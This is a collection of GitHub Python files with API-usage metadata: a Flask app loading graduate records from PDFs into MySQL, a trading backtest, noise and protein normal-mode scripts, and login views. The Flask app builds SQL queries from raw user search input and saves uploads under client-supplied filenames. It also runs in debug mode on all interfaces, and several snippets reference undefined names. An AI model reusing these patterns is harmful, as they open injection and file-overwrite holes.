"call"}, {"api_name": "numpy.arange", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 53, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}]} {"seq_id": "16909750991", "text": "from flask import Flask, render_template, request, redirect, url_for, jsonify\nfrom sqlalchemy import create_engine\nfrom PyPDF2 import PdfReader\nfrom pathlib import Path\nimport threading\nimport tabula\nimport glob\nimport pdb\nimport os\nimport re\n\napp = Flask(__name__)\narchivos = {}\nSQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root@localhost:3306/egresados'\nengine = create_engine(SQLALCHEMY_DATABASE_URI, echo=True)\n\nPATH = 'c:/Users/MaríaZeballos/Desktop/EgresadosCRUV'\n\ndef to_sql(df, create=False):\n if create:\n df.to_sql('egresados', engine, if_exists='append')\n #df.to_sql('graduados', engine, if_exists='append')\n #df.to_sql('titulos', engine, if_exists='append')\n try:\n with engine.begin() as conn:\n conn.execute('ALTER TABLE egresados ADD PRIMARY KEY (`Num. Diploma`);')\n #conn.execute('ALTER TABLE graduados ADD PRIMARY KEY (`ID_EGRESADO`);')\n #conn.execute('ALTER TABLE titulo ADD PRIMARY KEY (`ID_EGRESADO`);')\n except:\n pass\n else:\n df.to_sql('egresadostemp', engine, if_exists='replace')\n #df.to_sql('graduadosTemp', engine, if_exists='replace')\n #df.to_sql('titulosTemp', engine, if_exists='replace')\n with engine.begin() as conn:\n conn.execute('REPLACE INTO Egresados (SELECT * FROM egresadostemp)')\n #conn.execute('REPLACE INTO graduados (SELECT * FROM graduadosTemp)')\n #conn.execute('REPLACE INTO titulos (SELECT * FROM titulosTemp)')\n\ndef process_file(filename):\n input_file = f'{PATH}/pdf/{filename}'\n total = 0\n reader = PdfReader(input_file)\n for i in range(len(reader.pages)):\n dfs = tabula.io.read_pdf(input_file,guess=False, columns=[210, 340, 759, 850, 940], pages=str(i+1))\n #dfs = tabula.io.read_pdf(input_file,guess=False, columns=[210, 340, 759, 850, 940], pages=[1])\n for j, df in enumerate(dfs):\n try:\n #graduados = pd.DataFrame()\n #graduados.columns = [] \n df = df.loc[:,(~df.isnull()).any()]\n df = df[(~df.isnull()).all(axis=1)]\n df.columns = ['Nombre', 'Cedula', 'Titulo', 'Fecha Diploma', 'Num. Diploma', 'Indice']\n df = df[(~df['Num. Diploma'].str.startswith('no'))]\n df = df[(df.Nombre != 'Nombre')]\n #df = df['Cedula'].str.split().join('-')\n df['Año'] = df['Fecha Diploma'].str.extract(r'.*-.*-(\\d+)').astype(int) + 2000\n df['Num. Diploma'] = df['Num. Diploma'].str.extract(r'(\\d+)').astype(int)\n df['Correo'] = \"\"\n df['Telefono'] = \"\"\n df = df.set_index('Num. Diploma')\n # New tables\n if j == 0 and i == 0:\n to_sql(df[0:0], create=True) # Make sure Table exists\n to_sql(df)\n total += len(df.index)\n #print(df.to_string())\n except Exception as e:\n print(e)\n #pdb.set_trace()\n pass\n os.remove(input_file)\n print(f'Total {total} egresados')\n\n@app.route('/data')\ndef data():\n draw = request.args.get('draw')\n start = request.args.get('start')\n length = request.args.get('length')\n search = request.args.get('search[value]')\n egresados = {\n 'draw': int(draw),\n 'recordsTotal': 0,\n 'recordsFiltered': 0,\n 'data': []\n }\n searches = search.split(';')\n query = f''\n searches = [s for s in searches if s] # Clean empty search\n if len(searches) == 1:\n search = searches[0]\n query = f'WHERE Nombre = \\'{search}\\' or Cedula = \\'{search}\\' OR Titulo = \\'{search}\\' OR `Fecha Diploma` = \\'{search}\\' OR Indice = \\'{search}\\' OR `Año` = \\'{search}\\''\n elif len(searches) > 1:\n query = 'WHERE '\n search = searches[0]\n query += f'(Nombre = \\'{search}\\' or Cedula = \\'{search}\\' OR Titulo = \\'{search}\\' OR `Fecha Diploma` = \\'{search}\\' OR Indice = \\'{search}\\' OR `Año` = \\'{search}\\')'\n searches = searches[1:]\n for search in searches:\n query += f' AND (Nombre = \\'{search}\\' or Cedula = \\'{search}\\' OR Titulo = \\'{search}\\' OR `Fecha Diploma` = \\'{search}\\' OR Indice = \\'{search}\\' OR `Año` = \\'{search}\\')'\n try:\n with engine.begin() as conn:\n total = conn.execute(f'SELECT COUNT(Nombre) FROM Egresados {query}').scalar()\n egresados['recordsFiltered'] = egresados['recordsTotal'] = int(total)\n results = conn.execute(f'SELECT * FROM Egresados {query} LIMIT {int(start)}, {int(length)}')\n for result in results:\n egresados['data'].append(list(dict(result).values()))\n except:\n pass\n return jsonify(egresados)\n\n@app.route('/')\ndef index():\n for filename in list(archivos):\n if not archivos[filename].is_alive():\n del archivos[filename]\n return render_template('./index.html', archivos=archivos)\n\n@app.route('/', methods = ['POST']) \ndef upload_file():\n f = request.files['file']\n pdf = Path(f'{PATH}/pdf/{f.filename}')\n if not pdf.exists():\n f.save(f'{PATH}/pdf/{f.filename}')\n process_file_thread = threading.Thread(target=process_file, name='Parser', args=[f.filename])\n process_file_thread.start()\n archivos[f.filename] = process_file_thread\n return redirect(url_for('index'))\n\ndef cleanup():\n pdfs = glob.glob(f'{PATH}/pdf/*')\n for pdf in pdfs:\n os.remove(pdf)\n\nif __name__ == '__main__':\n cleanup()\n app.run(host='0.0.0.0', port=5000, debug = True)\n", "repo_name": "faustinoaq/EgresadosCRUV", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 15, "usage_type": "call"}, {"api_name": "PyPDF2.PdfReader", "line_number": 43, "usage_type": "call"}, {"api_name": "tabula.io.read_pdf", "line_number": 45, "usage_type": "call"}, {"api_name": "tabula.io", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 120, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 121, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 124, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 127, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 130, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 132, "usage_type": "call"}]} {"seq_id": "71939678942", "text": "import os\nimport sys\nfrom setuptools import setup\nfrom pip.req import parse_requirements\nfrom pip.download import PipSession\n\nVERSION = \"0.1.26\"\n\nscripts = [\"bin/kforce\"]\n\ninstall_requires = [str(ir.req) for ir in parse_requirements(\"requirements/base.txt\", session=PipSession())]\n\nif __name__ == \"__main__\":\n setup(\n name=\"kforce\",\n version=VERSION,\n author=\"Yang Kelvin Liu\",\n author_email=\"ycliuhw@gmail.com\",\n license=\"Apache License 2.0\",\n url=\"https://github.com/ycliuhw/kforce\",\n description=\"KOPS template automation\",\n packages=[\"kforce\"],\n scripts=scripts,\n keywords=[\"k8s\", \"kops\", \"kubernetes\", \"template\"],\n install_requires=install_requires,\n # include_package_data=True,\n package_data={\"kforce\": [\"raw_templates/**/*\"]},\n )\n", "repo_name": "ycliuhw/kforce", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pip.req.parse_requirements", "line_number": 11, "usage_type": "call"}, {"api_name": "pip.download.PipSession", "line_number": 11, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 14, "usage_type": "call"}]} {"seq_id": "18694280570", "text": "import matplotlib.pyplot as plt\nfrom simplexnoise.noise import PerlinNoise, normalize\n\nlength = 10000\npn = PerlinNoise(num_octaves=7, persistence=0.1)\ndata = []\n\nt = [i for i in xrange(length)]\nfor i in xrange(length):\n data.append(normalize(pn.fractal(x=i, hgrid=length)))\n\nfig = plt.figure()\nplt.plot(t, data)\nfig.savefig('1D_example.png')\n", "repo_name": "bradykieffer/SimplexNoise", "sub_path": "examples/1D_image.py", "file_name": "1D_image.py", "file_ext": "py", "file_size_in_byte": 345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "7", "api": [{"api_name": "simplexnoise.noise.PerlinNoise", "line_number": 5, "usage_type": "call"}, {"api_name": "simplexnoise.noise.normalize", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}]} {"seq_id": "34480527023", "text": "import pandas_datareader as pdr\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndf = pdr.get_data_yahoo('TCS.NS', \n start=datetime.datetime(2016, 6, 1), \n end=datetime.datetime(2021, 6, 1))\n\nclose_data = df['Close']\nprint(close_data)\nclose_delta = close_data.diff()\nbenchmark_sell_value = pdr.get_data_yahoo('TCS.NS', start=datetime.datetime(2019, 6, 1), end=datetime.datetime(2021, 6, 1))['Close'][0]\nprint(benchmark_sell_value)\nbenchmark_return = ( 100000*(benchmark_sell_value/close_data[0]) - 100000 )\nbenchmark_return_percent = benchmark_return/1000\nprint(\"benchmark return =\", benchmark_return)\nprint(\"benchmark return percent = \",benchmark_return_percent, \"%\")\n\n\n# Making two series, one for lower closes and one for higher closes\nup = close_delta.clip(lower=0)\ndown = -1 * close_delta.clip(upper=0)\n\n# Using exponential moving average\nperiods = 14\nma_up = up.ewm(com=periods - 1, adjust=True, min_periods=periods).mean()\nma_down = down.ewm(com=periods - 1, adjust=True, min_periods=periods).mean()\n\nrs = ma_up / ma_down\nrsi = 100 - (100/(1 + rs))\ndf['RSI'] = rsi\n\n\ndf['sell_signal'] = 0\ndf['buy_signal'] = 0\ndf['sell_signal'] = np.where((rsi>70)&(rsi.shift(1)<=70), 1, 0)\ndf['buy_signal'] = np.where((rsi<30)&(rsi.shift(1)>=30), 1, 0)\n\ndf['Current Position']=0 # 1 = long position , 0 = not holding \ncurrent_position = 0 \nfor i in range(len(close_data)-1): \n if (df['buy_signal'][i]==1 and current_position==0):\n current_position = 1\n elif (df['sell_signal'][i]==1 and current_position==1):\n current_position = 0\n df['Current Position'][i+1] = current_position\n\n\ndf['Current Stock Holding'] = 0\ndf['Current Capital'] = 100000\nfor i in range(1, len(close_data)):\n if (df['Current Position'][i-1] == 0 and df['Current Position'][i] == 1 ):\n df['Current Capital'][i] = 0\n df['Current Stock Holding'][i] = ((99/100)*df['Current Capital'][i-1])/(df['Close'][i-1])\n \n elif (df['Current Position'][i-1] == 1 and df['Current Position'][i] == 0 ):\n df['Current Capital'][i] = (99/100)*(df['Current Stock Holding'][i-1])*(df['Close'][i-1])\n df['Current Stock Holding'][i] = 0 \n \n else:\n df['Current Capital'][i] = df['Current Capital'][i-1]\n df['Current Stock Holding'][i] = df['Current Stock Holding'][i-1]\n\nfinal_capital = df['Current Capital'][-1] + (99/100)*(df['Current Stock Holding'][-1])*(df['Close'][-1])\nfinal_return = ( final_capital - 100000 )\nfinal_return_percent = final_return/1000\nprint( \"final return =\", final_return)\nprint(\"final return percent = \",final_return_percent, \"%\")\n\n\nplt.plot(df['Close'])\nplt.plot(rsi)\nfor i in range(1,len(close_data)):\n if(df['buy_signal'][i] == 1):\n plt.plot(df.index[i],df['RSI'][i],'^', markersize=5, color='g')\n if(df['sell_signal'][i] == 1):\n plt.plot(df.index[i],df['RSI'][i],'v', markersize=5, color='r')\n\nfor i in range(1,len(close_data)):\n if(df['Current Position'][i-1]==0 and df['Current Position'][i]==1):\n plt.plot(df.index[i],df['Close'][i],'^', markersize=10, color='g')\n if(df['Current Position'][i-1]==1 and df['Current Position'][i]==0):\n plt.plot(df.index[i],df['Close'][i],'v', markersize=10, color='r')\nplt.show() \n\nprint(df)\ndf.to_csv('file.csv', sep='\\t', float_format='%.2f')\n\n", "repo_name": "dhruv-mehrotra/Trading_Strategy_1", "sub_path": "quant_attempt_3_rsi.py", "file_name": "quant_attempt_3_rsi.py", "file_ext": "py", "file_size_in_byte": 3283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas_datareader.get_data_yahoo", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas_datareader.get_data_yahoo", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]} {"seq_id": "35137131529", "text": "from flask import render_template, flash, redirect, session, url_for, request\n\nfrom character import app\nfrom character.forms import LoginForm, TemplateForm\nfrom character.models import User, Object\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return redirect(url_for(\"view\"))\n\n\n@app.route('/view')\n@login_required\ndef view_objects():\n \"\"\"\n Views objects.\n \"\"\"\n user = current_user\n objects = user.objects\n\n form = TemplateForm()\n\n if not objects:\n flash(\"You don't have any objects.\")\n\n return render_template(\n \"view.html\", title=\"View\", user=user, links=None, form=form,\n objects=objects\n )\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n Logs the user in using LDAP authentication.\n \"\"\"\n if current_user is not None and current_user.is_authenticated:\n return redirect(url_for('index'))\n\n form = LoginForm()\n\n if request.method == 'GET':\n return render_template('login.html', title=\"Log In\", form=form)\n\n if form.validate_on_submit():\n user = authenticate(form.username.data, form.password.data)\n\n if not user:\n flash('Login failed.')\n return render_template('login.html', title=\"Log In\", form=form)\n\n if user and user.is_authenticated:\n db_user = User.query.get(user.id)\n if db_user is None:\n db.session.add(user)\n db.session.commit()\n\n login_user(user, remember=form.remember.data)\n\n return redirect(request.args.get('next') or url_for('index'))\n\n return render_template('login.html', title=\"Log In\", form=form)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n\n@lm.user_loader\ndef load_user(id):\n return User.query.get(id)\n", "repo_name": "spurll/character", "sub_path": "character/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1811, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.redirect", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 11, "usage_type": "call"}, {"api_name": "character.app.route", "line_number": 8, "usage_type": "call"}, {"api_name": "character.app", "line_number": 8, "usage_type": "name"}, {"api_name": "character.app.route", "line_number": 9, "usage_type": "call"}, {"api_name": "character.app", "line_number": 9, "usage_type": "name"}, {"api_name": "character.forms.TemplateForm", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 28, "usage_type": "call"}, {"api_name": "character.app.route", "line_number": 14, "usage_type": "call"}, {"api_name": "character.app", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 40, "usage_type": "call"}, {"api_name": "character.forms.LoginForm", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 52, "usage_type": "call"}, {"api_name": "character.models.User.query.get", "line_number": 55, "usage_type": "call"}, {"api_name": "character.models.User.query", "line_number": 55, "usage_type": "attribute"}, {"api_name": "character.models.User", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 64, "usage_type": "call"}, {"api_name": "character.app.route", "line_number": 34, "usage_type": "call"}, {"api_name": "character.app", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 70, "usage_type": "call"}, {"api_name": "character.app.route", "line_number": 67, "usage_type": "call"}, {"api_name": "character.app", "line_number": 67, "usage_type": "name"}, {"api_name": "character.models.User.query.get", "line_number": 75, "usage_type": "call"}, {"api_name": "character.models.User.query", "line_number": 75, "usage_type": "attribute"}, {"api_name": "character.models.User", "line_number": 75, "usage_type": "name"}]} {"seq_id": "39157570841", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport prody\n\nfrom prody.dynamics.compare import calcSubspaceOverlap\n\nimport MDAnalysis as mda\n\nimport matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\n\nimport networkx as nx\nfrom networkx.algorithms.community import greedy_modularity_communities\n\n\nfrom sklearn.cluster import SpectralClustering\nfrom sklearn import metrics\nfrom sklearn.neighbors import NearestNeighbors\nfrom scipy import spatial\n#from sklearn.metrics.pairwise import cosine_similarity\nimport math\nfrom scipy.spatial.distance import minkowski\n\n\n#############\n\ndef clusters_from_labels(labels,calphas,mapping_data = 0,mapping = False):\n\t'''\n\t- \"labels\" has form:[l1,l1,l2,l3,l2,l3,l3,...]\n\t\tsuch as entry i tells that atom i is in cluster l_j\n\t- returns:\n\t\t- clusters_pos[i][0] is the average position on x axis for cluster i\n\t\t- cluster_masses: entry i is mass of cluster in clusters_pos[i]\n\t'''\n\tfound = []\n\tclusters = {}\n\tfor i,l in enumerate(labels):\n\t\tif l in found:\n\t\t\ttmp = clusters[str(l)]\n\t\t\tclusters[str(l)] = np.concatenate((tmp,np.array([i])),axis = 0)\n\t\telse:\n\t\t\tfound.append(l)\n\t\t\tclusters[str(l)] = np.array([i])\n\n\tclusters_list =np.array([clusters[k] for k in clusters.keys()])\n\tN = len(clusters_list)\n\n\t# if mapping update cluster list\n\tif mapping is True:\n\t\tfor i in range(N):\n\t\t\tfor j in range(len(clusters_list[i])):\n\t\t\t\tclusters_list[i][j] = mapping_data[clusters_list[i][j]]\n\t# cluster list is now updated with correct atom names\n\n\t# add masses and positions\n\tclusters_pos,clusters_masses = np.empty(shape=(0,3)),np.empty([0])\n\tfor cluster in clusters_list:\n\t\tposition = np.zeros(3)\n\t\tm = 0\n\t\tfor i in cluster:\n\t\t\tposition += calphas.atoms[i].position\n\t\t\tm += calphas.atoms[i].mass\n\n\t\tposition = np.array([position/float(len(cluster))])\n\n\t\tclusters_pos = np.concatenate((clusters_pos,position),axis = 0)\n\t\tclusters_masses = np.concatenate((clusters_masses,np.array([m])),axis = 0)\n\n\n\treturn clusters_pos,clusters_masses,clusters_list\n\n\n\n\ndef nma_analysis(calphas,nodes_pos, masses, cutoff,mode = 0):\n\t'''\n\tUses a modified version of ProDy where mass weighting of the hessian is\n\tdone in buildHessian()\n\n\ttakes as input to build an hessian and perform normal mode analysis:\n\t- coordinates of nodes to build geometric network\n\t- cutoff as edges threshold\n\t- masses to perform mass weighting in the hessian\n\t- calphas and nodes_pos are just to build the classes for the NMD file\n\n\treturns:\n\t- slowest mode eigenvector already divided in an array of eigenvectors\n\tfor which entry i is the slowest mode eigenvector for atom i\n\t'''\n\tanm = prody.ANM(\"nd\")\n\tanm.buildHessian(nodes_pos, cutoff = cutoff,masses = masses)\n\tanm.calcModes(3)\n\n\tslowest_mode = anm[mode]\n\tev = slowest_mode.getEigvec().round(3)\n\tvectors = [[ev[i],ev[i+1],ev[i+2]] for i in range(0,len(ev),3) ]\n\n\treturn np.asarray(vectors)\n\n\n\ndef graph_ground_truth(calphas, graph_cutoff):\n\t'''\n\tgenerates atomistc graph of carbons alphas\n\t'''\n\n\tn = len(calphas.atoms)\n\tG=nx.Graph()\n\tG.add_nodes_from(range(n))\n\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\tnorm = np.linalg.norm(calphas.atoms[i].position - calphas.atoms[j].position)\n\t\t\tif norm <= graph_cutoff:\n\t\t\t\tG.add_edge(i,j)\n\n\tadj = nx.to_numpy_matrix(G)\n\treturn np.squeeze(np.asarray(adj))\n\n#\ndef graph_spectral_clustering(calphas, adjacency,n_clu,mapping_data = 0, mapping = False):\n\t'''\n\tapply spectral clustering using sklearn library.\n\n\tmapping arg is required when performing Laplacian Search to\n\tmap indexes of subnetworks of randomly selected clusters\n\tto original atom indexes of the whole network\n\t'''\n\n\tsc = SpectralClustering(\n\t\tn_clusters = n_clu, \n\t\taffinity='precomputed', \n\t\tn_init=100, \n\t\tassign_labels='discretize'\n\t\t)\n\n\tsc.fit_predict(adjacency)\n\n\tif mapping is True:\n\t\tclusters_pos, clusters_masses, cluster_list = ext_clusters_from_labels(sc.labels_,calphas,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmapping_data = mapping_data, mapping= mapping )\n\telse:\n\t\tclusters_pos, clusters_masses, cluster_list = ext_clusters_from_labels(sc.labels_,calphas)\n\treturn clusters_pos, clusters_masses, cluster_list\n\n\ndef rmsd(cluster_list, vectors, clu_vectors):\n\t'''\n\tnot a proper rmsd - it is a \n\tmean squared deviation of the CG modes wrt to AT modes,\n\taveraged along clusters\n\t'''\n\n\tN_clu = len(cluster_list)\n\tRMSD = 0\n\tN = len(vectors)\n\tfor j in range(N_clu):\n\t\tclu_vector = clu_vectors[j]\n\t\tclu_true_vectors = vectors[cluster_list[j]]\n\n\t\t# normalize and multiply by 100\n\t\tif np.linalg.norm(clu_vector) < 1e-7: clu_vector += np.ones(3)*1e-6\n\t\tclu_vector = (clu_vector / np.linalg.norm(clu_vector))*100\n\n\t\tD = 0\n\n\t\tfor v in clu_true_vectors:\n\t\t\t# normalize vectors to unit norm\n\t\t\tif np.linalg.norm(v) < 1e-7: v += np.ones(3)*1e-6\n\n\t\t\tv = (v / np.linalg.norm(v)) * 100\n\t\t\td = minkowski(v,clu_vector,p = 2)\n\t\t\tD += d**2\n\n\t\tRMSD += float(D)\n\t\t\n\treturn (RMSD/float(N_clu*N))/100.0\n\n#\ndef rmsip(cluster_list,true_vectors, clu_vectors):\n\ttrue_modes = []\n\tclu_modes = []\n\tN_clu = len(cluster_list)\n\tfor j in range(N_clu):\n\t\tclu_vector = clu_vectors[j]\n\t\tclu_true_vectors = true_vectors[cluster_list[j]]\n\n\t\tfor k in range(len(clu_true_vectors)):\n\t\t\tv = clu_true_vectors[k]\n\t\t\tfor w in range(3):\n\t\t\t\ttrue_modes.append(v[w])\n\t\t\t\tclu_modes.append(clu_vector[w])\n\n\ttrue_modes = np.asarray(true_modes)\n\tclu_modes = np.asarray(clu_modes)\n\t#rmsip_out = calcSubspaceOverlap(true_modes,clu_modes)\n\n\ttrue_modes *= 1 / (true_modes ** 2).sum(0) ** 0.5\n\tclu_modes *= 1 / (clu_modes ** 2).sum(0) ** 0.5\n\toverlap = np.dot(true_modes*100, clu_modes*100)\n\t#overlap = np.dot(true_modes.T, clu_modes)\n\tL = float(len(clu_modes))\n\trmsip = np.sqrt(np.power(overlap, 2).sum() / (L*len(cluster_list)))\n\treturn rmsip\n\n\ndef average_distance_from_neighbors(elements_pos, nn = 10):\n\t'''\n\tauxiliary function to calculate optimal cutoff for CG ENM\n\t'''\n\n\tn = len(elements_pos)\n\tif n < nn:\n\t\tnn = n\n\tnbrs = NearestNeighbors(n_neighbors=nn, algorithm='ball_tree').fit(elements_pos)\n\tdistances, indices = nbrs.kneighbors(elements_pos)\n\tavg_distances = np.mean(distances, axis = 1)\n\t# optimal cutoff will be conversionfactor * avg_clu_distances\n\n\treturn np.mean(avg_distances)\n\n\n#\n# auxiliary functions (not interesting)\n#\n\ndef together(one,two,three):\n\tnew = []\n\tfor element in one:\n\t\tnew.append(np.array(element))\n\tfor element in two:\n\t\tnew.append(np.array(element))\n\tfor element in three:\n\t\tnew.append(np.array(element))\n\treturn np.array([new[k] for k in range(len(new))])\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "notsebastiano/MSMSM-Project", "sub_path": "support_functions.py", "file_name": "support_functions.py", "file_ext": "py", "file_size_in_byte": 6385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.concatenate", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "prody.ANM", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 98, "usage_type": "call"}, {"api_name": "networkx.Graph", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 113, "usage_type": "attribute"}, {"api_name": "networkx.to_numpy_matrix", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.cluster.SpectralClustering", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 163, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 171, "usage_type": "attribute"}, {"api_name": "scipy.spatial.distance.minkowski", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 203, "usage_type": "call"}, {"api_name": "sklearn.neighbors.NearestNeighbors", "line_number": 215, "usage_type": "call"}, 